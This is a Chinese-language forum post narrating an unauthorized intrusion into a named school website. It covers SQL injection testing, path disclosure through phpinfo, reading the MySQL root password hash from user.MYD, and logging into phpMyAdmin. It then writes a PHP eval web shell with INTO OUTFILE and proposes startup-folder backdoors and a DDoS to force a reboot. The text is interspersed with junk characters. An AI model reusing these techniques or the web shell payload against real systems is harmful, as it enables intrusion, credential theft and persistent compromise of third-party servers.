第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏7 F3 X* w$ I! e: ]
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3 -0 -1 判断后确认存在注入！ m( l+ H. Z' }
& B6 f. t) d! ?. O+ `- u
4 P6 `6 `! e3 Q3 W) {# g! n& a6 R% v" `% ]5 U
常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限
$ k3 `5 m2 d& U1 {6 M: z" y# [5 p7 d5 t" |3 e; @
那么想可以直接写入shell ，getshell有几个条件：
7 D8 o3 f7 Z; Q; u0 y- o7 R/ u1、知道站点物理路径 2、有足够大的权限 3、magic_quotes_gpc()=OFF
; [6 g& Q) U8 D
* I A7 r, c& f" k q4 I* V# L) G: ?. c试着爆绝对路径： 2 \& U7 [& ~5 U' ?4 O% Z4 c
1./phpMyAdmin/index.php?lang[]=1 & s( Z, Z7 S: Q, w
2./phpMyAdmin/phpinfo.php ' }8 `, z- t7 l+ c1 D3 ?2 m# j0 ?
3./load_file() & V& _, E6 ?5 e8 ^ z: E
4./phpmyadmin/themes/darkblue_orange/layout.inc.php
# T- O% G* q# E8 K! i" p/ r6 d5./phpmyadmin/libraries/select_lang.lib.php
% r6 N6 g6 s' ]; k: l! B( L6./phpmyadmin/libraries/lect_lang.lib.php
$ S$ T: R+ ]) Q( W3 e7./phpmyadmin/libraries/mcrypt.lib.php ! K) O, q3 y; j* N
8./phpmyadmin/libraries/export/xls.php
. { o: k( v0 W% j" o& w0 l' c1 f6 q3 c9 b
均不行........................... # ]- }+ [! h- v
8 d% s: d* |3 v0 e5 Z御剑扫到这个： http://www.dyyz.net.cn//phpinfo.php 获得网站路径：D:/www/phpinfo.php
1 I+ C- ]8 \4 w0 V! u5 g
, |$ |) q3 d3 f权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
5 h7 w: }- u# M0 p \3 I; d e% k; c% L
默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败 2 A5 o: m' t% i5 g3 s" {
: f# q+ _4 l$ }3 E
敏感东西： http://202.103.49.66/Admincp.php 社工进不去...........
) q c$ N6 ]$ P3 S" m: @6 E
" l: Q/ s, q2 D7 K4 D想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
6 \! I0 s) |; g# T( R" |/ K ~. M! i; G1 c& [8 x" w
http://www.dyyz.net.cn//phpinfo.php 泄露了D:\phpStudy\PHP5\php.ini
! J5 ?6 g5 g) i6 c
7 n5 l/ V# T7 m6 |4 Q, N6 \( T自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD
" d- ~6 a$ M; Y# M* u
, v5 Q! Y' u: o成功读到root密码：
3 ]; A( O: I% O. f
- s$ ] ?$ E6 q' i; ^) C, U! I2 U17---- r(0072)
) e7 X2 G$ y2 S5 i. d$ r. l! }18---- o(006f) 9 C% M6 T* |6 k& i1 p W
19---- o(006f)
" y6 J1 Y, G5 c; c- K20---- t(0074)
2 u" J2 Y/ {/ T21---- *(002a) ) @/ h( Y0 ~0 E
22---- 8(0038) & ?* F( c6 [" z& l2 l( m
23---- 2(0032) 6 a* `0 }) ?2 }' A0 [5 _
24---- E(0045)
$ _5 m* L o, f; G0 f7 q25---- 1(0031) 8 K" s) s' c- M- }) H
26---- C(0043) # Q1 [3 k n3 m( e) j/ u. |; W: X
27---- 5(0035)
) W6 |; R( Q# E6 ]! j; }; X28---- 8(0038)
6 D8 w# E2 m8 R0 O6 `- o29---- 2(0032)
" i! w! B! b* r0 E+ z, U- [30---- 8(0038)
) O+ N2 W' _9 c% D+ X: t) b31---- A(0041)
& m' [% W3 k# l! _8 w32---- 9(0039)
1 k1 [- p0 p0 Q. g M5 @, y33---- B(0042)
2 B7 u5 u. T# E% O, l34---- 5(0035) 8 m' R$ ?2 O) y! \2 K d* s. ]
35---- 4(0034) ; X0 x8 w5 H8 X- b6 }0 o G B, C
36---- 8(0038) ) J. o8 f `, u2 K
37---- 6(0036)
( `$ r" |( O4 K( S38---- 4(0034) " y+ O! r' r' o: Z8 r$ c& ]
39---- 9(0039) " P- l8 s/ L5 }4 k9 T& Q( B' O4 o
40---- 1(0031)
G0 x9 \8 H+ }0 o5 ^41---- 1(0031)
8 D- h. a y% S9 M& p( B& L+ I42---- 5(0035) " w F: ]% D1 f- n/ P
43---- 3(0033)
- B9 W, G. ~, ~# ~6 U44---- 5(0035)
% @ p! f& N7 Y45---- 9(0039) " G, E, N" B- p% ]! o
46---- 8(0038)
2 r* p" \* ~" l/ n3 J6 D: C47---- F(0046) ) @! J: g% M: y4 a
48---- F(0046) $ V/ u0 T) s8 }2 ]3 |, X# N+ Q
49---- 4(0034) " K7 j. O! Q9 x+ @+ S
50---- F(0046)
" y; y4 n% R: G u$ P7 n51---- 0(0030)
1 ?9 p3 j1 A2 G" I; K52---- 3(0033)
3 a" Y$ d$ N0 K) H: F. J' \53---- 2(0032) 6 R: R7 f! x7 r) h: c% n
54---- A(0041)
1 x% X" f# _1 G" c55---- 4(0034) 8 @* S) V" f4 B0 Z8 H' }. k
56---- A(0041)
- g$ X" q/ P) ~7 Z0 a3 B6 U57---- B(0042)
) Y5 L/ _9 f. L2 v5 Z58---- *(0044) . L( u1 s4 x( o7 r8 s! Z
59---- *(0035) 1 b" R* x. [# Y' r. m! ]
60---- *(0041) T- `2 i# e, _/ x$ J9 @( J
61---- *0032)
5 \& c) K# Q% t9 x9 U; e7 G
+ g1 t1 d9 _3 d解密后成功登陆phpmyamin
) r4 X9 c) l% [3 N $ g1 g$ H; W, j
) n7 F8 m7 ~4 o5 g, p ; x' p5 A6 Q: x7 M6 `/ _9 d7 D
- C B, q, o4 G8 K2 m. x/ {* s
找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
( q# d8 W0 ]! U; m* Q/ x% x
+ l, f* I i4 G9 c5 l成功执行，拿下shell，菜刀连接： 0 r0 w' R. z _5 D) D5 w# @6 P
. }5 y% G+ }6 O
服务器不支持asp,aspx,php提权无果...................
# J+ d" ?& u% M1 O, Q/ @- j* T1 Y
I# x7 n! D$ A3 p0 r" q但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
1 p" U- o1 w3 r) g) o; i0 c7 ^服务器上已经有个隐藏帐号了
3 J: r/ K: S( A别名 administrators; \6 t2 J+ |" j- i% p/ N
注释 管理员对计算机/域有不受限制的完全访问权
# P! v, n6 h* z3 z# @$ s成员
% G/ a2 l$ K7 P. H' ] t-------------------------------------------------------------------------------
/ a/ H" K+ o- L: P" I6 _admin7 {1 b" R9 j9 O
Administrator
% d& {% G, e- [$ cslipper$3 H8 z7 ^- |$ P4 Q5 |
sqluser- O7 C) M( K$ q) I$ W! p9 z I
命令成功完成。
1 N9 \0 ~9 U6 m9 _* N4 O$ ~4 L* y4 b
服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
G# ?8 P5 R7 X$ v4 K/ D j/ J3 h( [. U
ddos服务器重启，不然就只能坐等服务器重启了...............................( d+ ~) Z" _+ \( S7 r8 y6 ]* I. V
Q5 ]' d7 x6 o. E
( A9 V+ H) |8 [9 x7 _ L | 
发表于 2013-1-11 21:32:15
收藏
支持
反对
发表于 2013-5-20 15:28:12
